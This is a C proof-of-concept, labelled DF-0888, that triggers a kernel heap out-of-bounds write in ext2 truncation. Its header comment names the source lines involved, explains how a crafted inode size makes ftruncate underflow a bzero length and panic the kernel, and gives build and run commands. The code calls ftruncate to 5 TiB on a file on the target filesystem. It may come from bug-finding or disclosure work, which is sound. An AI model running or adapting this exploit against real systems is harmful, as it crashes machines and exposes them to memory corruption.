/*
 * DF-0888 kernel trigger.
 *
 * Open the patched file on a mounted ext2 filesystem and ftruncate() it to
 * 5 TiB. The on-disk inode claims i_size = 6 TiB and a valid triple-indirect
 * block pointer, so ext2_truncate -> ext2_ind_truncate takes the SHORTEN
 * path (osize=6TiB > length=5TiB, the only maxfilesize check at
 * ext2_inode.c:251 is on the LENGTHEN branch) and computes lastiblock[TRIPLE]
 * exceeding NINDR^3. ext2_indirtrunc(level=TRIPLE) then underflows the bzero
 * size at ext2_inode.c:172-173 -> kernel heap OOB write -> panic.
 *
 * Build:  cc -O2 -Wall -o trigger trigger.c
 * Run:    ./trigger /mnt/target
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>

int main(int argc, char **argv)
{
    if (argc < 2) {
        fprintf(stderr, "usage: %s <path-on-ext2fs>\n", argv[0]);
        return 2;
    }
    long long TB = 1LL << 40;
    off_t newlen = 5 * TB;          /* 5 TiB -- in triple-indirect range */

    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 2; }
    printf("[trigger] opened %s, ftruncate -> %lld (5 TiB)\n", argv[1],
           (long long)newlen);
    fflush(stdout);

    int rc = ftruncate(fd, newlen);
    int e = errno;
    printf("[trigger] ftruncate returned rc=%d errno=%d (%s)\n",
           rc, e, strerror(e));
    /* If we get here at all the bug did NOT fire (kernel should panic in
     * ext2_indirtrunc's bzero before ftruncate returns). */
    close(fd);
    return rc == 0 ? 0 : 1;
}
